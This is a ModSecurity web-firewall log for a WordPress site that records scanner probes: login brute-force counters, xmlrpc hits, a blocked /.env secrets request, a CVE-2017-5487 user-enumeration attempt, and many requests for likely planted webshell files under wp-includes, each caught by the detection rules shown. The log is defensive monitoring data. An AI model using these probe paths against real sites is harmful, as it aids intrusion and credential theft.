[Mon Dec 08 15:28:41.070798 2025] [:error] [pid 63353:tid 63361] [client 89.20.83.118:45428] [client 89.20.83.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.20.83.118, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTZ-KRtg8HdYG392GAjQwAAAAIU"]
[Mon Dec 08 15:30:55.493741 2025] [:error] [pid 58847:tid 58860] [client 49.12.243.38:57052] [client 49.12.243.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 49.12.243.38, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTZ-r3y4UHQXWKMwpHmeRwAAAQc"]
[Mon Dec 08 16:39:16.116395 2025] [:error] [pid 58847:tid 58872] [client 66.42.64.64:48440] [client 66.42.64.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.42.64.64, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTaOtHy4UHQXWKMwpHnJKwAAARM"]
[Mon Dec 08 17:59:17.137253 2025] [:error] [pid 58758:tid 58769] [client 209.97.156.74:52142] [client 209.97.156.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/"] [unique_id "aTahdQBS5U6_vVkyhEeL4gAAAEc"], referer: binance.com
[Mon Dec 08 18:01:32.532044 2025] [:error] [pid 37840:tid 37862] [client 217.154.192.104:35980] [client 217.154.192.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.154.192.104, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTah_FnJIKqlie_aHNbS0AAAAZM"]
[Mon Dec 08 19:06:34.174280 2025] [:error] [pid 37840:tid 37854] [client 106.119.167.146:55183] [client 106.119.167.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aTaxOlnJIKqlie_aHNbqBwAAAYs"]
[Mon Dec 08 19:08:05.289377 2025] [:error] [pid 58760:tid 58818] [client 45.195.75.44:32990] [client 45.195.75.44] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.195.75.44, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTaxlWqmF_jKbCz9E6lrbQAAAAE"]
[Mon Dec 08 19:11:41.332858 2025] [:error] [pid 2754:tid 2765] [client 54.244.58.97:44394] [client 54.244.58.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aTaybbSzS4AFjS-DhTVABQAAAUg"]
[Mon Dec 08 20:21:56.386423 2025] [:error] [pid 48573:tid 48580] [client 103.39.132.40:40320] [client 103.39.132.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.39.132.40, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTbC5FIayuqwlm3CEkZlTQAAAUU"]
[Mon Dec 08 21:05:48.982755 2025] [:error] [pid 48573:tid 48593] [client 35.237.252.30:53256] [client 35.237.252.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.237.252.30, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTbNLFIayuqwlm3CEkaAYwAAAVI"]
[Mon Dec 08 21:05:52.281691 2025] [:error] [pid 48573:tid 48591] [client 35.237.252.30:53256] [client 35.237.252.30] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTbNMFIayuqwlm3CEkaAagAAAVA"]
[Mon Dec 08 21:05:56.797310 2025] [:error] [pid 48573:tid 48599] [client 35.237.252.30:53256] [client 35.237.252.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.237.252.30, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTbNNFIayuqwlm3CEkaAeAAAAVg"]
[Mon Dec 08 21:39:14.481350 2025] [:error] [pid 48541:tid 48565] [client 107.170.14.214:56264] [client 107.170.14.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.170.14.214, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTbVAgSNhJPArxLCdWEDmAAAARY"]
[Mon Dec 08 21:49:25.223057 2025] [proxy_fcgi:error] [pid 48481:tid 48486] [client 20.214.247.3:27615] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Mon Dec 08 21:49:25.655260 2025] [:error] [pid 48481:tid 48489] [client 20.214.247.3:27615] [client 20.214.247.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.214.247.3, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aTbXZSe0pzx5KCi3S0Ik6QAAAMQ"], referer: https://www.bing.com/
[Mon Dec 08 21:49:25.661759 2025] [proxy_fcgi:error] [pid 48481:tid 48489] [client 20.214.247.3:27615] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Mon Dec 08 21:52:01.337219 2025] [autoindex:error] [pid 48573:tid 48597] [client 20.214.247.3:27524] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Mon Dec 08 21:52:06.870769 2025] [:error] [pid 48573:tid 48579] [client 20.214.247.3:27524] [client 20.214.247.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.214.247.3, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTbYBlIayuqwlm3CEkaScgAAAUQ"], referer: https://www.bing.com/
[Mon Dec 08 21:52:12.392996 2025] [:error] [pid 48573:tid 48597] [client 20.214.247.3:27524] [client 20.214.247.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.214.247.3, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTbYDFIayuqwlm3CEkaSeAAAAVY"], referer: https://www.bing.com/
[Mon Dec 08 21:52:42.089358 2025] [:error] [pid 48481:tid 48486] [client 20.214.247.3:27585] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aTbYKie0pzx5KCi3S0ImXwAAAME"], referer: https://www.google.co.uk/
[Mon Dec 08 21:52:43.306089 2025] [:error] [pid 48541:tid 48551] [client 20.214.247.3:27605] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aTbYKwSNhJPArxLCdWEIuwAAAQg"], referer: https://duckduckgo.com/
[Mon Dec 08 21:52:44.734361 2025] [:error] [pid 48573:tid 48591] [client 20.214.247.3:27538] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aTbYLFIayuqwlm3CEkaS1AAAAVA"], referer: https://www.google.de/
[Mon Dec 08 21:52:45.684273 2025] [:error] [pid 48573:tid 48583] [client 20.214.247.3:27612] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aTbYLVIayuqwlm3CEkaS1wAAAUg"], referer: https://www.google.fr/
[Mon Dec 08 21:52:47.001323 2025] [:error] [pid 50569:tid 50573] [client 20.214.247.3:27603] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aTbYLvHhZxyKreYmWzK_NQAAAAE"], referer: https://www.google.de/
[Mon Dec 08 21:52:49.059855 2025] [:error] [pid 50569:tid 50591] [client 20.214.247.3:27614] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aTbYMfHhZxyKreYmWzK_OQAAABM"], referer: https://duckduckgo.com/
[Mon Dec 08 21:52:50.334678 2025] [:error] [pid 48573:tid 48585] [client 20.214.247.3:27592] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aTbYMlIayuqwlm3CEkaS9gAAAUo"], referer: https://www.yahoo.com/
[Mon Dec 08 21:52:51.322812 2025] [:error] [pid 50569:tid 50588] [client 20.214.247.3:27524] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aTbYM_HhZxyKreYmWzK_PwAAABA"], referer: https://www.google.fr/
[Mon Dec 08 21:52:52.273763 2025] [:error] [pid 48481:tid 48496] [client 20.214.247.3:27623] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aTbYNCe0pzx5KCi3S0ImawAAAMs"], referer: https://www.bing.com/
[Mon Dec 08 21:52:53.068126 2025] [:error] [pid 48481:tid 48494] [client 20.214.247.3:27528] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/xwx1.php"] [unique_id "aTbYNSe0pzx5KCi3S0ImbQAAAMk"], referer: https://www.google.com/
[Mon Dec 08 21:52:53.843209 2025] [:error] [pid 48541:tid 48547] [client 20.214.247.3:27598] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aTbYNQSNhJPArxLCdWEI5gAAAQQ"], referer: https://www.google.fr/
[Mon Dec 08 21:52:54.704251 2025] [:error] [pid 48482:tid 48531] [client 20.214.247.3:27540] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aTbYNn23gV7gRu3vn82OBAAAAJM"], referer: https://www.google.de/
[Mon Dec 08 21:52:56.168584 2025] [:error] [pid 50569:tid 50588] [client 20.214.247.3:27647] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aTbYOPHhZxyKreYmWzK_TQAAABA"], referer: https://www.google.de/
[Mon Dec 08 21:52:56.938647 2025] [:error] [pid 50569:tid 50585] [client 20.214.247.3:27590] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-bindings/radio.php"] [unique_id "aTbYOPHhZxyKreYmWzK_TwAAAA0"], referer: https://www.google.de/
[Mon Dec 08 21:52:57.800060 2025] [:error] [pid 48482:tid 48527] [client 20.214.247.3:27527] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aTbYOX23gV7gRu3vn82OCgAAAI8"], referer: https://www.google.com/
[Mon Dec 08 21:52:58.386944 2025] [:error] [pid 48541:tid 48544] [client 20.214.247.3:27643] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-locale-switcher-less.php"] [unique_id "aTbYOgSNhJPArxLCdWEI7gAAAQE"], referer: https://www.google.com/
[Mon Dec 08 21:52:59.112452 2025] [:error] [pid 50569:tid 50574] [client 20.214.247.3:27582] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aTbYO_HhZxyKreYmWzK_VgAAAAI"], referer: https://www.yahoo.com/
[Mon Dec 08 21:52:59.986268 2025] [:error] [pid 50569:tid 50585] [client 20.214.247.3:27624] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aTbYO_HhZxyKreYmWzK_WAAAAA0"], referer: https://www.google.de/
[Mon Dec 08 21:53:00.578654 2025] [:error] [pid 50569:tid 50577] [client 20.214.247.3:27625] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/class-wp-customize-media-icon-control.php"] [unique_id "aTbYPPHhZxyKreYmWzK_WwAAAAU"], referer: https://www.yahoo.com/
[Mon Dec 08 21:53:01.354244 2025] [:error] [pid 48481:tid 48506] [client 20.214.247.3:27536] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aTbYPSe0pzx5KCi3S0ImeAAAANU"], referer: https://www.google.fr/
[Mon Dec 08 21:53:01.999257 2025] [:error] [pid 48482:tid 48521] [client 20.214.247.3:27593] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/sx.php"] [unique_id "aTbYPX23gV7gRu3vn82OEAAAAIk"], referer: https://www.google.fr/
[Mon Dec 08 21:53:03.179804 2025] [:error] [pid 50569:tid 50585] [client 20.214.247.3:27619] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/admin.php"] [unique_id "aTbYP_HhZxyKreYmWzK_YwAAAA0"], referer: https://www.google.fr/
[Mon Dec 08 21:53:03.768123 2025] [:error] [pid 50569:tid 50577] [client 20.214.247.3:27644] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aTbYP_HhZxyKreYmWzK_aQAAAAU"], referer: https://www.bing.com/
[Mon Dec 08 21:53:04.494723 2025] [:error] [pid 50569:tid 50586] [client 20.214.247.3:27611] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aTbYQPHhZxyKreYmWzK_awAAAA4"], referer: https://www.yahoo.com/
[Mon Dec 08 21:53:05.248366 2025] [:error] [pid 48573:tid 48586] [client 20.214.247.3:27534] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aTbYQVIayuqwlm3CEkaTGQAAAUs"], referer: https://www.yahoo.com/
[Mon Dec 08 21:53:05.945106 2025] [:error] [pid 50569:tid 50590] [client 20.214.247.3:27553] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/index.php"] [unique_id "aTbYQfHhZxyKreYmWzK_cQAAABI"], referer: https://www.google.com/
[Mon Dec 08 21:53:06.650378 2025] [:error] [pid 48481:tid 48504] [client 20.214.247.3:27613] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aTbYQie0pzx5KCi3S0ImewAAANM"], referer: https://www.bing.com/
[Mon Dec 08 21:53:07.664184 2025] [:error] [pid 48573:tid 48579] [client 20.214.247.3:27602] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aTbYQ1Iayuqwlm3CEkaTIAAAAUQ"], referer: https://www.google.de/
[Mon Dec 08 21:53:08.439108 2025] [:error] [pid 48541:tid 48565] [client 20.214.247.3:27550] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aTbYRASNhJPArxLCdWEI9wAAARY"], referer: https://www.bing.com/
[Mon Dec 08 21:53:09.416219 2025] [:error] [pid 48573:tid 48591] [client 20.214.247.3:27604] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aTbYRVIayuqwlm3CEkaTJAAAAVA"], referer: https://www.google.de/
[Mon Dec 08 21:53:10.084218 2025] [:error] [pid 48573:tid 48584] [client 20.214.247.3:27631] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aTbYRlIayuqwlm3CEkaTJgAAAUk"], referer: https://duckduckgo.com/
[Mon Dec 08 21:53:10.563348 2025] [:error] [pid 48481:tid 48509] [client 20.214.247.3:27639] [client 20.214.247.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-db-array.php"] [unique_id "aTbYRie0pzx5KCi3S0ImgwAAANg"], referer: https://www.bing.com/
[Mon Dec 08 21:53:55.831695 2025] [:error] [pid 48541:tid 48560] [client 20.214.247.3:27587] [client 20.214.247.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.214.247.3, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aTbYcwSNhJPArxLCdWEJJwAAARE"], referer: https://duckduckgo.com/
[Mon Dec 08 21:55:14.462418 2025] [:error] [pid 50569:tid 50583] [client 20.214.247.3:27601] [client 20.214.247.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.214.247.3, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aTbYwvHhZxyKreYmWzLAnwAAAAs"], referer: https://www.bing.com/
